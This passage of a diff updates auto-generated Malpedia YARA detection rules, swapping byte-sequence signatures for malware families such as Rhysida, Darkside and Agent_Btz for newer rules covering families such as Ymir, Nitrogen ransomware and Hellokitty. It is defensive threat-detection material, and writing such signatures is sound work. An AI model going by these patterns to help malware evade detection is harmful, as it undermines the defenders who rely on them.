837e1808 } - $sequence_9 = { 837de800 894da0 894d90 7653 8b03 8d4dc0 51 } + $sequence_0 = { f7d8 33d9 03f1 c1f2eb c1b454002000f03f 668b840780fd47a1 0fb68c54002000f0 } + $sequence_1 = { e9???????? f7d2 66d1e8 0fca 0f81cb3a0a00 33da 59 } + $sequence_2 = { f6d9 d0c9 80e9b9 fec0 fec0 c1c20c 32d9 } + $sequence_3 = { f7da fec0 f6d0 42 6698 e8???????? 0f34 } + $sequence_4 = { f7d2 66898c8706fefdff 0fbeca 8b144f f6d8 0fabc0 d2c1 } + $sequence_5 = { ffc7 6641 d1c7 6645 0fc1d5 48 99 } + $sequence_6 = { ff5315 14a8 6292bfc572de 1ad7 381d???????? 50 a9dac0aaf7 } + $sequence_7 = { e8???????? 8b442500 ba90b9872b 80e298 8d0c55ad51af3f 8b8c55e48cf0a8 661bd2 } + $sequence_8 = { fec0 33d3 6633c9 2d0066b83d 35a05ea552 42 f7da } + $sequence_9 = { f7d8 33d8 0fca 66c1f90b 0f878f9f1200 03f0 660fa3d1 } condition: - 7 of them and filesize < 1122304 + 7 of them and filesize < 13793280 } -rule MALPEDIA_Win_Sobig_Auto : FILE +rule MALPEDIA_Win_Guidloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f2079ef3-4c71-5dab-833c-5773ab6ef02f" + id = "eceb0420-babc-5550-b00f-55949b1733ed" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sobig_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.guidloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.guidloader_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "0c745bccdca469dd967ba05a41b0d6b9484e837d88e70b86ce4dd51c26e4309d" + logic_hash = "909d36bb63fb6009cd4cb0cf7912a67325d3ddd81af65c11026fd36fda233963" score = 75 quality = 75 tags = "FILE" @@ -93518,32 +93660,32 @@ rule MALPEDIA_Win_Sobig_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645fc01 e8???????? 56 8d4dc8 885dfc e8???????? 834dfcff } - $sequence_1 = { 48 85c9 742e 53 40 57 } - $sequence_2 = { 50 e8???????? 83ec10 8d45b0 8bcc 8965c4 50 } - $sequence_3 = { 034e18 83c418 c645fc03 51 } - $sequence_4 = { 7ced 85f6 7e15 8bce 8d75c0 8bc1 8bfb } - $sequence_5 = { 8d4ddc e8???????? 85c0 0f84a0000000 68???????? 8d4ddc } - $sequence_6 = { 7505 b8???????? 50 8d8544fbffff 68???????? 50 ff15???????? } - $sequence_7 = { e8???????? e9???????? 6a10 8d45ac 6a00 50 e8???????? } - $sequence_8 = { 83c320 3b7e04 7cee 5b ff36 e8???????? 59 } - $sequence_9 = { 3b7e08 7ce6 83c8ff 5f 5e 5b c20400 } + $sequence_0 = { 498bd4 e8???????? 837d1000 0f8659020000 44896c2428 488d5510 4c8bcf } + $sequence_1 = { 4d2bc8 418b51fc d3ea 4c894808 895018 410fb609 } + $sequence_2 = { 83f802 7711 488b4228 49394128 418b08 0f44cf } + $sequence_3 = { e8???????? 4533c0 4c8d0dcd72ffff 498b5508 0fb60a 83e10f 4a0fbe840920460100 } + $sequence_4 = { 4c8d442448 488d1532700000 33c9 ff15???????? 488b4c2448 85c0 } + $sequence_5 = { 418807 4c852e 764f ba30000000 49b80000000000000f00 6666660f1f840000000000 488b06 } + $sequence_6 = { 4889442460 4863842420010000 4889442468 0fb6842440010000 0f298c2480000000 0f280d???????? } + $sequence_7 = { 898c9564010000 49c1e820 453bcd 75d6 4585c0 742e 8b8560010000 } + $sequence_8 = { 410f1006 0f11442430 e9???????? 488bfe 4883cf0f 483bfb 7629 } + $sequence_9 = { 894208 f6c310 740a 418b02 4983c204 89420c 807c243000 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 49251328 } -rule MALPEDIA_Win_Rhysida_Auto : FILE +rule MALPEDIA_Win_Ymir_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "56c97e20-7a99-5fbc-90fd-a6127fd088f8" + id = "ec16ddc4-25ef-5b31-b796-dd562960b36b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhysida_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ymir" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ymir_auto.yar#L1-L92" license_url = "N/A" - logic_hash = "60516db4e2b578f830c415644222719cb56ab464473054de682480b20c1eaa3f" + logic_hash = "853e5b985d29c6039b89b0f82cf98458f3d83850f989fe396b592ab8b2bdf1fe" score = 75 quality = 75 tags = "FILE" @@ -93557,34 +93699,32 @@ rule MALPEDIA_Win_Rhysida_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4183c201 4883c108 4d8d3404 4889c5 4d89f4 49c1ec3c 4539d0 } - $sequence_1 = { 488b4510 8b4004 85c0 750a 488b4510 8b5520 895024 } - $sequence_2 = { f30f5e45fc f30f1145f8 488b4518 f30f1000 f30f5945f8 f30f2cc0 89c2 } - $sequence_3 = { 8d7802 430fb60c2a 43300c2b 448d6803 410fb62c12 450fb6043a 41302c13 } - $sequence_4 = { eb18 8b8598000000 898588000000 8b8594000000 898584000000 8b85b4000000 8d5001 } - $sequence_5 = { 41c1e818 46332483 4189e8 45332492 0fb6d4 44332491 4531e0 } - $sequence_6 = { 85d2 0f8f92050000 ba01000000 bd01000000 4531db 4d63cb 49beffffffffffffff0f } - $sequence_7 = { ffd0 c7850c11000000000000 c7850811000000000000 c7850411000000000000 c785dc0d000000000000 c785d80d000000000000 83bd4811000002 } - $sequence_8 = { c1e903 f348ab ff15???????? 83f812 7472 488b8b38020000 e8???????? } - $sequence_9 = { 4589542408 33460c 8b742444 418b2cb3 448b742458 81e5000000ff 478b1cb3 } + $sequence_0 = { 4c89ea 4889c1 4c0f47c3 e8???????? } + $sequence_1 = { 4c89ea 4889cb ff5078 488d05a7211000 } + $sequence_2 = { 4c89ea 4889d9 41ff14fe eb85 } + $sequence_3 = { 4c89ea 4889c1 4989c4 e8???????? 488d1573bf0400 31c9 } + $sequence_4 = { 4c89ea 4889c7 488d05ec682800 4c8d3585682800 } + $sequence_5 = { 4c89ea 4889c6 498b0424 c744242001000000 } + $sequence_6 = { 4c89ea 4889d9 488ba8d8000000 4889ac2488000000 } + $sequence_7 = { 4c89ea 4889c1 e8???????? 4189f2 } condition: - 7 of them and filesize < 2369536 + 7 of them and filesize < 5530624 } -rule MALPEDIA_Win_Darkside_Auto : FILE +rule MALPEDIA_Win_Agent_Btz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aefc41a3-b8c0-5b26-a4f2-4bd0717ef6d0" + id = "63f52dc6-c77d-5450-96ef-d9bb7ca2e2e5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkside_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agent_btz_auto.yar#L1-L502" license_url = "N/A" - logic_hash = "19da14f3a366acd3b23a4b82b0e78c008b7088d377404cdf8c0d0057a334f0f7" + logic_hash = "490f9b875f186054dd3eafec04e94807f52eca52fbc5563b2ddd7496752d38c8" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -93596,71 +93736,120 @@ rule MALPEDIA_Win_Darkside_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 5b 5d c20800 55 8bec 53 } - $sequence_1 = { 895c0e04 893c0e 81ea10101010 2d10101010 81eb10101010 81ef10101010 } - $sequence_2 = { 75d2 5f 5e 5a 59 } - $sequence_3 = { 8b4508 8b10 8b5804 8b7808 8b400c 89540e0c 89440e08 } - $sequence_4 = { be???????? 8b4508 8b10 8b5804 8b7808 8b400c } - $sequence_5 = { b9f0000000 be???????? 8b4508 8b10 } - $sequence_6 = { e8???????? 5f 5e 5a 59 5b 5d } - $sequence_7 = { 85c0 7418 8bd8 68ff000000 57 } - $sequence_8 = { 57 e8???????? 81c7ff000000 4b 85db 75ea } - $sequence_9 = { 75da eb06 33db fec1 75d2 5f 5e } + $sequence_0 = { 51 ffd6 8d54240c 52 ffd7 } + $sequence_1 = { c74608ffffffff f644240801 7409 56 } + $sequence_2 = { 50 ffd3 85c0 75d8 5f 5e 5b } + $sequence_3 = { c706???????? c7460c00000000 895e08 895e04 c7461000000000 895e14 } + $sequence_4 = { ff15???????? b804000f00 8b4df4 64890d00000000 5f 5e 5b } + $sequence_5 = { 56 6a00 68???????? 8935???????? e8???????? } + $sequence_6 = { 6a00 50 ff15???????? 894614 33c0 } + $sequence_7 = { 740e 50 ff15???????? c74608ffffffff f644240801 } + $sequence_8 = { 8d542408 52 c744240c30000000 c744241003000000 } + $sequence_9 = { 8bf1 8b4608 c706???????? 85c0 7413 83f8ff 740e } + $sequence_10 = { 6801010000 ff15???????? 85c0 7415 } + $sequence_11 = { 6a0a 68???????? 6a01 6a00 68???????? } + $sequence_12 = { 51 6a00 6819000200 6a00 68???????? } + $sequence_13 = { 50 68???????? 6a01 68???????? e8???????? 83c410 } + $sequence_14 = { 6a01 6a04 6a01 68???????? } + $sequence_15 = { 50 e8???????? 83c408 6800010000 e8???????? } + $sequence_16 = { 6a01 68???????? e8???????? 83c414 5f 5e 5b } + $sequence_17 = { 89461c 3dea000000 740b 3de5030000 } + $sequence_18 = { 7511 e8???????? 83c020 50 } + $sequence_19 = { 0fb605???????? 66890d???????? 0fb60d???????? 660fafca } + $sequence_20 = { 83c020 50 e8???????? 83c404 33c0 } + $sequence_21 = { 68???????? 6a01 e8???????? 50 e8???????? 83c41c } + $sequence_22 = { 740d 3cff 7409 f6d0 } + $sequence_23 = { c684249200000065 c684249300000073 c684249400000073 c684249500000057 } + $sequence_24 = { 33c9 ff542458 85c0 7420 } + $sequence_25 = { c684248b00000061 c684248c00000074 c684248d00000065 c684248e00000050 c684248f00000072 c68424900000006f } + $sequence_26 = { 57 ff7508 8bf1 33db 895e10 } + $sequence_27 = { 6808020000 50 668945fa 8d85d8fdffff } + $sequence_28 = { 33ff 8d85f8f7ffff 57 50 } + $sequence_29 = { 6a00 6a27 6a02 6a00 6a01 } + $sequence_30 = { 8b85f8feffff 53 8d8df4feffff 51 8d8df8feffff } + $sequence_31 = { ff9574ffffff 8b4de0 89410c 33c0 8be5 5d c20400 } + $sequence_32 = { c684249500000057 c684249600000000 c684241001000047 c684241101000065 c684241201000074 c68424130100004c } + $sequence_33 = { 50 8d85e8fdffff 50 c745fc04010000 } + $sequence_34 = { c684248f00000072 c68424900000006f c684249100000063 c684249200000065 } + $sequence_35 = { 50 8945f8 33ff 8d85f8f7ffff } + $sequence_36 = { 8bc8 66894de0 66894de2 59 6a70 } + $sequence_37 = { 8d8505feffff 50 e8???????? 83c40c } + $sequence_38 = { c645d316 c645d43a c645d53b c645d63b c645d730 } + $sequence_39 = { 488b4338 33d2 488bce 448d4220 } + $sequence_40 = { 488b4b38 ff5160 894330 3dea000000 } + $sequence_41 = { 488b0e 48894628 488b4638 4c8d4c2450 448bc3 } + $sequence_42 = { 488b07 896830 33c0 488b5c2458 488b6c2460 488b742468 4883c440 } + $sequence_43 = { 488b0f 894130 eb06 488b07 896830 33c0 } + $sequence_44 = { 83c904 c1e803 448bc9 440fafc8 } + $sequence_45 = { 488b4638 488b0e 4c8d442450 4533c9 } + $sequence_46 = { 488b4638 ff5060 894630 3de5030000 } + $sequence_47 = { 488bcf c744242088130000 e8???????? 488b5738 } + $sequence_48 = { 488b0f 488901 488b07 488338ff } + $sequence_49 = { 488b0f 48894108 488b0f 488b4108 48894128 488b0f } + $sequence_50 = { 85db 7415 4c8b4f38 488d4804 } + $sequence_51 = { 8d8594faffff 50 68???????? ff15???????? } + $sequence_52 = { 742e f7460800000080 7405 83c60c } + $sequence_53 = { 72e3 8b2d???????? 8d442420 50 ffd5 } + $sequence_54 = { 57 33db 8d84248c000000 6a3c 53 } + $sequence_55 = { 85ed 7506 8b4204 8b680c b86e6b0000 66394504 0f856e010000 } + $sequence_56 = { 8b4604 3938 747b 8b33 57 } + $sequence_57 = { 5e 59 c3 68???????? e8???????? 59 b815000040 } + $sequence_58 = { ff74241c ffd3 837c241000 740a } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 5577728 } -rule MALPEDIA_Win_Rugmi_Auto : FILE +rule MALPEDIA_Win_Unidentified_082_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "56dfd636-865d-5e6b-99e2-82ed18d11802" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rugmi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rugmi_auto.yar#L1-L132" + id = "7772581c-e8cf-5615-a758-46ef9c1fc0b0" + date = "2021-10-07" + modified = "2021-10-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_082" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_082_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "6414237b4a37eccf99db6de8d88a3ab9402e6945fd1a3f91716e86d56c16f3fa" + logic_hash = "fdfe1ddce9f77ac8b465b0ddebe868c5e77078cf2b2457573a5b3810682f45ee" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20211007" + malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535" + malpedia_version = "20211008" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33db 395d08 0f94c3 8b4518 8b4d08 8908 8bc3 } - $sequence_1 = { 8b7704 eb14 85c0 0f8535010000 56 57 e8???????? } - $sequence_2 = { 3bcb 726f 8b7514 8b5d10 8bc1 0bc2 7508 } - $sequence_3 = { 7507 b8074c0000 c9 c3 8d45e0 50 68???????? } - $sequence_4 = { 894d08 8d56bc 0f45fa 68???????? 03f9 e8???????? 8b7510 } - $sequence_5 = { 5d c3 837d08ff 0f84b4090000 e9???????? 55 8bec } - $sequence_6 = { 395e3c 7520 85ff 0f841c010000 6a0a 68???????? } - $sequence_7 = { 88834d020000 8b84b350010000 83f8ff 7413 50 53 57 } - $sequence_8 = { 8955e4 c645fc00 8d4dcc e8???????? c745fcffffffff 8d8d70ffffff } - $sequence_9 = { 56 c687cf0c000000 68???????? e9???????? 6a02 59 6a17 } + $sequence_0 = { 4c8d0dbc190200 0f1f4000 0f1f840000000000 418d4801 } + $sequence_1 = { ff5018 4c634510 488d0df40a0200 488bd8 33c0 } + $sequence_2 = { 4c634510 488d0d93fa0100 488bd8 33c0 488bd3 488905???????? 488905???????? } + $sequence_3 = { ff15???????? 488b0cdf ff15???????? 48c704dfffffffff } + $sequence_4 = { 4885c0 0f84ac010000 48833d????????00 0f849e010000 48833d????????00 0f8490010000 48833d????????00 } + $sequence_5 = { 488b0d???????? 8b5108 488b4910 4533c9 458d4130 4c89742420 } + $sequence_6 = { 33c0 e9???????? 8a07 4c8b7c2448 4c8d25a64c0100 4b8b0cfc ffc3 } + $sequence_7 = { 0f1f4000 0f1f840000000000 418d4801 0fb6c2 41ffc0 f7da } + $sequence_8 = { 488b4f18 4c8d4d10 488b01 488d1587000200 41b810000000 ff5018 4c634510 } + $sequence_9 = { 48894598 eb03 4533f6 488b05???????? 80782e00 740a 80782000 } condition: - 7 of them and filesize < 950272 + 7 of them and filesize < 414720 } -rule MALPEDIA_Win_Avast_Disabler_Auto : FILE +rule MALPEDIA_Win_Kingminer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "645a106b-f735-50ef-a098-7cdfe936ba27" + id = "dc87ee85-ad64-51c7-a30a-c6bd4d73fed8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avast_disabler_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kingminer_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "d9bf9a929cf2cb5bcebd034c783b915e751fc8d18f9e66457ed913ca7fa968a1" + logic_hash = "a5745ddfac302b5a6ad793ecca6fc94da98fb5fc6ae2a187ff80bbe4b8e2d2c1" score = 75 quality = 75 tags = "FILE" @@ -93674,32 +93863,32 @@ rule MALPEDIA_Win_Avast_Disabler_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8d85f0feffff 50 e8???????? 8b4c371c } - $sequence_1 = { c20c00 3b0d???????? 7503 c20000 e9???????? 8bff } - $sequence_2 = { e8???????? 8b4c371c 8d85f0feffff 2b4c3718 } - $sequence_3 = { 8bf0 85f6 7815 8d45f8 50 e8???????? 8bf0 } - $sequence_4 = { 41 83ef01 75f1 8b85ecfeffff 33c9 0fb7d0 33c0 } - $sequence_5 = { 57 8945e4 33ff 8d45dc } - $sequence_6 = { 8bf0 85f6 7826 6a04 59 } - $sequence_7 = { 6a00 ff7508 8bf0 57 } - $sequence_8 = { 6bf80e 668b450c 6639443712 7408 } - $sequence_9 = { 6a00 ff7508 8bf0 57 e8???????? } + $sequence_0 = { 8945f0 c745f400000000 3b0d???????? 0f8d8e010000 68???????? ff15???????? } + $sequence_1 = { 8b8db0feffff e8???????? 8b95d8feffff 8b8db0feffff 52 8bf0 e8???????? } + $sequence_2 = { 53 8b5f38 f6c301 7570 0fb74706 } + $sequence_3 = { 0fb75714 8d4c3a24 85c0 7429 8bf0 } + $sequence_4 = { 52 e9???????? a1???????? 6800040000 } + $sequence_5 = { 3bf0 741e 68c1000000 ff15???????? 5b } + $sequence_6 = { 68???????? ff15???????? 8b7508 c7465c88d00010 } + $sequence_7 = { 8b0d???????? 8945ec 8b4624 83c628 } + $sequence_8 = { 8975e4 33c0 39b8a0f70010 0f8491000000 } + $sequence_9 = { 8b95d0feffff 2b4234 7419 83b9a000000000 7466 50 } condition: - 7 of them and filesize < 41984 + 7 of them and filesize < 165888 } -rule MALPEDIA_Win_Faketc_Auto : FILE +rule MALPEDIA_Win_Nitrogen_Ransomware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "20700f38-ca76-52c3-a2fd-e577561f7238" + id = "f1d15105-1f60-56bd-9f57-5d0889e5b371" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.faketc_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen_ransomware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitrogen_ransomware_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "88cb80bbffbb5dd33ed57d116a0c91ab50887b3cc89797bc963aaa34348dde48" + logic_hash = "80271e297eab8217b53749d1fda8214698e5eac53c180b085f9fa59013bd1e3e" score = 75 quality = 75 tags = "FILE" @@ -93713,32 +93902,32 @@ rule MALPEDIA_Win_Faketc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? bd01000000 89ac2460010000 84db 7405 c644246c01 097c2470 } - $sequence_1 = { c645fc10 e8???????? 83bdd0fdffff08 720f 8b95bcfdffff 52 e8???????? } - $sequence_2 = { e8???????? 83c41c c3 8b4c2424 5f 5e 5d } - $sequence_3 = { 8b91f0860000 83c201 8b81f4860000 83d000 8b4d08 8991f0860000 8981f4860000 } - $sequence_4 = { e8???????? 83c40c 85c0 740f 8b45f8 c74048ffffffff e9???????? } - $sequence_5 = { e8???????? 50 8d85b8060000 50 c645fc0c e8???????? 83c40c } - $sequence_6 = { c1ef10 c1ed18 330cad18d45f00 81e7ff000000 2b0cbd18d85f00 8b7808 33f1 } - $sequence_7 = { e8???????? 83c40c c744241401000000 89742418 c744241c00000000 83fe08 0f87c2010000 } - $sequence_8 = { e8???????? a1???????? 33c4 89842450010000 53 55 8bac2460010000 } - $sequence_9 = { e8???????? 83c408 85c0 7473 8b4df0 8b91a8020000 8b45f0 } + $sequence_0 = { 83f26c 4183c405 66410f6ed8 4183f569 8b8c2470030000 4183f46c 660f6eca } + $sequence_1 = { 83c004 31d0 66898424bc020000 0fb79424be020000 8b8424b0020000 83c005 31d0 } + $sequence_2 = { 66898424ae240000 0fb79424b0240000 8b8424a0240000 83c006 31d0 66898424b0240000 0fb79424b2240000 } + $sequence_3 = { 4189c3 8b8424a06a0000 83c01b 663305???????? 89c3 8b8424a06a0000 83c01c } + $sequence_4 = { 83c20d 8944247c 8b8424204f0000 83f274 89442478 8b8424204f0000 89442474 } + $sequence_5 = { 89442428 660fc4cf01 448b8424702a0000 66450fc4cb01 894c2424 4183c107 66410f62c9 } + $sequence_6 = { 83f065 668984247a400000 0fb7442420 83c00e 83f072 668984247c400000 31c0 } + $sequence_7 = { 440fb73d???????? 0f118c24d0650000 8d680a 0fb705???????? 418d4f0a 440fb73d???????? 8d780a } + $sequence_8 = { 6689bc24900a0000 0fb77c245e 6689bc24920a0000 6689b424940a0000 f30f6fac24400a0000 f30f6fa424700a0000 66899c24960a0000 } + $sequence_9 = { ff15???????? 8b542440 4889d9 83ca04 ff15???????? 90 4883c468 } condition: - 7 of them and filesize < 6864896 + 7 of them and filesize < 2590720 } -rule MALPEDIA_Win_Nikitear_Auto : FILE +rule MALPEDIA_Win_Ruckguv_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f8fdb193-3c11-59c1-829a-a9eb5f221c83" + id = "0458bbf5-faad-51b1-bbf4-5951261d0eab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nikitear" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nikitear_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ruckguv_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "78bbb5bb165f52797af65de0137f35c2d932f8f5aaa20ce84f06a64d8b20f48b" + logic_hash = "45b231c70efe5a17389a0b484f9ffc2309c40182fd8d298e6f80ad3ac2eb154c" score = 75 quality = 75 tags = "FILE" @@ -93752,32 +93941,32 @@ rule MALPEDIA_Win_Nikitear_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d8d60010000 ffd0 33c0 c74424204004242e 8844242c } - $sequence_1 = { 8d419f 3c19 7706 448d49b9 eb24 8d41d0 3c09 } - $sequence_2 = { 48635708 4c8d3dcce5feff 48035508 0fb60a 83e10f 4a0fbe843908460300 428a8c3918460300 } - $sequence_3 = { 488d4c2440 4885f6 743f 4c8d054ff7fdff 483bca 7333 80390d } - $sequence_4 = { 4c03f3 4c8b6c2460 4b8d0427 4c3bf0 0f94c0 488b4df8 4833cc } - $sequence_5 = { 488d151e570200 488d0de7560200 e8???????? 85c0 7529 } - $sequence_6 = { 39b42480000000 747b 4c8d0576ce0100 498b04e8 f644f83848 7441 0fb7442470 } - $sequence_7 = { 44884c2420 41b901000000 4533c0 418bd1 488bcb e8???????? 83e73f } - $sequence_8 = { 48ffc1 4883f90d 7306 0fb65590 ebea 0fb64591 8bce } - $sequence_9 = { 4883c227 482bc1 4883c0f8 4883f81f 772a e8???????? 488b4310 } + $sequence_0 = { 750f 56 50 53 } + $sequence_1 = { 50 8d4640 50 8d4340 50 } + $sequence_2 = { 51 56 8b7508 8b463c 03c6 } + $sequence_3 = { ff75fc ffd0 5f 5e 8bc3 5b } + $sequence_4 = { a5 a5 66a5 a4 33f6 56 8d453c } + $sequence_5 = { ffd0 8d859cfdffff 50 68???????? } + $sequence_6 = { 884d13 8a8801010000 33ff 884dff 397d0c 763d 53 } + $sequence_7 = { 7908 49 81c900f0ffff 41 0fb7c9 } + $sequence_8 = { 57 8d8598fcffff 50 8d85a0feffff 68???????? 50 ff555c } + $sequence_9 = { 8d859cfdffff 50 68???????? e8???????? 6814f1f808 } condition: - 7 of them and filesize < 610304 + 7 of them and filesize < 41024 } -rule MALPEDIA_Win_Goldenspy_Auto : FILE +rule MALPEDIA_Win_Hellokitty_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9a246a47-ca73-52d5-9d24-1b989582e4ce" + id = "70edbf2a-39f7-5f31-a1a6-369fa9a6babf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goldenspy_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hellokitty_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "abc1cc932d348f65dac5bf1d4eeb448d62aaba8c9d68819a9d802639d61024c9" + logic_hash = "69c3664f3b1b0dc034046821a230bddd8509bf97c9fd256224c800e384d6c7d3" score = 75 quality = 75 tags = "FILE" @@ -93791,32 +93980,32 @@ rule MALPEDIA_Win_Goldenspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b0cbd48b24700 c644112900 837dfc00 7507 } - $sequence_1 = { 8bce ff5010 eb2d 8b06 8bce ff501c eb24 } - $sequence_2 = { 8bc8 e8???????? 8d4de0 c645fc0c e8???????? } - $sequence_3 = { ff75bc 8bcf e8???????? 3bf3 0f85b4feffff b001 } - $sequence_4 = { 50 8bcb e8???????? ba01000000 eb0d } - $sequence_5 = { e8???????? 84c0 0f84d7000000 8b55c8 8d4dd8 e8???????? c745fc01000000 } - $sequence_6 = { 50 8bce c78588fdffff00000000 e8???????? 8b00 3b06 7507 } - $sequence_7 = { 51 0f434520 50 51 8d8dccfeffff e8???????? 837d1c10 } - $sequence_8 = { 8b08 2bd1 52 eb2b 8b8538ffffff a804 752d } - $sequence_9 = { 6a00 50 6802000080 ff15???????? 85c0 7557 } + $sequence_0 = { 89542414 3d00010000 0f8f27010000 8bcb e8???????? 8bf0 } + $sequence_1 = { 6a08 58 75a4 5b 5f 5e c9 } + $sequence_2 = { 50 ffd6 8bd8 8945fc 83c8ff 3bd8 0f846b020000 } + $sequence_3 = { 8b45fc 8b4048 f00fc118 4b 7515 8b45fc 817848c0044200 } + $sequence_4 = { 03c8 8b45f0 03ce 8b75fc 894df8 c1c105 8b4034 } + $sequence_5 = { 8d4c242c e8???????? 837c243c08 8d442428 0f43442428 33ff 57 } + $sequence_6 = { 8b7508 2bdf ba10000000 660f1f440000 8a0c06 8d4001 3248ff } + $sequence_7 = { 0fb689303b4200 33f9 333d???????? 33fa 8bd7 89b880000000 33d6 } + $sequence_8 = { c1c806 33c8 8b45dc 3345e8 034dac 23f0 3375dc } + $sequence_9 = { c1c10e 33c8 8bc2 8b55cc 8bf2 c1e803 33c8 } condition: - 7 of them and filesize < 1081344 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Kk_Rat_Auto : FILE +rule MALPEDIA_Win_Koobface_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d3a867fb-765c-587c-976d-8b832133ea92" + id = "26b0388c-a8f9-5f6a-a459-0177fcecc6df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kk_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kk_rat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface" + source_url = 